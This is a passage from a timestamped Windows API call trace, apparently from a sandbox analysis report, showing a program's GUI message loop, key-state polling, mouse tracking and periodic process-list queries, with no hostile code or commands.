(nVirtKey=4) returned 0 [0201.946] GetKeyState (nVirtKey=5) returned 0 [0201.946] GetKeyState (nVirtKey=6) returned 0 [0201.946] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0201.946] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0201.946] WaitMessage () returned 1 [0202.001] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.001] IsWindowUnicode (hWnd=0x10166) returned 1 [0202.001] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.001] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0202.001] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0202.001] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.001] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.001] WaitMessage () returned 1 [0202.047] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.047] IsWindowUnicode (hWnd=0x10172) returned 1 [0202.047] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.047] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0202.047] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0202.047] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.047] IsWindowUnicode (hWnd=0x10172) returned 1 [0202.047] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.047] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0202.048] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0202.048] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a1, wParam=0x0, lParam=0x150172) returned 0x0 [0202.048] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.048] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.048] WaitMessage () returned 1 [0202.531] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.531] IsWindowUnicode (hWnd=0x10166) returned 1 [0202.531] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.531] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0202.531] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0202.531] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.531] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.532] WaitMessage () returned 1 [0202.955] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.955] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.956] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.956] IsWindowUnicode (hWnd=0x10172) returned 1 [0202.956] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0202.956] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0202.956] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0202.956] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0202.956] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.956] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0202.956] WaitMessage () returned 1 [0203.061] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0203.061] IsWindowUnicode (hWnd=0x10166) returned 1 [0203.061] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0203.062] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0203.062] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0203.062] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0203.062] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0203.062] WaitMessage () returned 1 [0203.592] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0203.592] IsWindowUnicode (hWnd=0x10166) returned 1 [0203.592] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0203.592] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0203.592] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0203.592] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0203.592] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0203.592] WaitMessage () returned 1 [0203.767] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0203.767] IsWindowUnicode (hWnd=0x1015c) returned 1 [0203.767] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0203.767] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0203.767] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0203.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x63f0) returned 0x0 [0203.776] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0203.776] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0203.776] WaitMessage () returned 1 [0204.122] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0204.122] IsWindowUnicode (hWnd=0x10166) returned 1 [0204.122] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0204.122] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0204.122] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0204.123] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0204.123] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0204.123] WaitMessage () returned 1 [0204.653] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0204.653] IsWindowUnicode (hWnd=0x10166) returned 1 [0204.653] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0204.653] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0204.653] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0204.653] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0204.653] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0204.653] WaitMessage () returned 1 [0205.183] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0205.183] IsWindowUnicode (hWnd=0x10166) returned 1 [0205.183] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0205.183] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0205.183] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0205.183] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0205.183] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0205.183] WaitMessage () returned 1 [0205.714] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0205.714] IsWindowUnicode (hWnd=0x10166) returned 1 [0205.714] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0205.714] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0205.714] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0205.714] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0205.714] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0205.715] WaitMessage () returned 1 [0205.776] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0205.776] IsWindowUnicode (hWnd=0x1015c) returned 1 [0205.776] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0205.776] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0205.776] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0205.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6470) returned 0x0 [0205.777] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0205.777] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0205.777] WaitMessage () returned 1 [0206.244] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0206.244] IsWindowUnicode (hWnd=0x10166) returned 1 [0206.244] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0206.244] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0206.244] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0206.244] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0206.244] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0206.244] WaitMessage () returned 1 [0206.774] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0206.774] IsWindowUnicode (hWnd=0x10166) returned 1 [0206.774] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0206.774] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0206.774] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0206.775] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0206.775] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0206.775] WaitMessage () returned 1 [0207.013] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.014] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x180037a) returned 0x1 [0207.014] IsWindowUnicode (hWnd=0x1015e) returned 1 [0207.014] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.014] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x180037a) returned 0x1 [0207.014] SetCursor (hCursor=0x10003) returned 0x10003 [0207.015] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0207.015] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0207.015] _TrackMouseEvent (in: lpEventTrack=0x2b062f4 | out: lpEventTrack=0x2b062f4) returned 1 [0207.015] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0207.015] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0207.015] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0xa90194) returned 0x0 [0207.015] GetKeyState (nVirtKey=1) returned 0 [0207.015] GetKeyState (nVirtKey=2) returned 0 [0207.015] GetKeyState (nVirtKey=4) returned 0 [0207.015] GetKeyState (nVirtKey=5) returned 0 [0207.015] GetKeyState (nVirtKey=6) returned 0 [0207.016] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.016] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.016] WaitMessage () returned 1 [0207.117] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.117] IsWindowUnicode (hWnd=0x1015e) returned 1 [0207.117] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.117] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0207.118] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0207.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.118] IsWindowUnicode (hWnd=0x1015e) returned 1 [0207.118] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.118] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0207.118] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0207.118] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0xa90194) returned 0x0 [0207.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.118] WaitMessage () returned 1 [0207.306] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.306] IsWindowUnicode (hWnd=0x10166) returned 1 [0207.306] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.306] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0207.306] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0207.306] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.306] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.306] WaitMessage () returned 1 [0207.788] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.788] IsWindowUnicode (hWnd=0x1015c) returned 1 [0207.788] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.788] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0207.788] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0207.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x63f0) returned 0x0 [0207.799] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.799] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.799] WaitMessage () returned 1 [0207.835] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.835] IsWindowUnicode (hWnd=0x10166) returned 1 [0207.835] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0207.835] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0207.835] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0207.835] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.835] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0207.835] WaitMessage () returned 1 [0208.026] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0208.027] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0208.027] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0208.027] IsWindowUnicode (hWnd=0x1015e) returned 1 [0208.027] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0208.027] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0208.027] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0208.027] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0208.027] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0208.027] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0208.027] WaitMessage () returned 1 [0208.365] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0208.365] IsWindowUnicode (hWnd=0x10166) returned 1 [0208.365] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0208.365] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0208.365] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0208.365] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0208.365] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0208.366] WaitMessage () returned 1 [0208.896] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0208.896] IsWindowUnicode (hWnd=0x10166) returned 1 [0208.896] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0208.896] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0208.896] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0208.896] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0208.896] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0208.896] WaitMessage () returned 1 [0209.426] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0209.426] IsWindowUnicode (hWnd=0x10166) returned 1 [0209.426] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0209.426] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0209.426] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0209.427] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0209.427] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0209.427] WaitMessage () returned 1 [0209.801] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0209.801] IsWindowUnicode (hWnd=0x1015c) returned 1 [0209.801] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0209.801] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0209.801] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0209.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x63f0) returned 0x0 [0209.803] 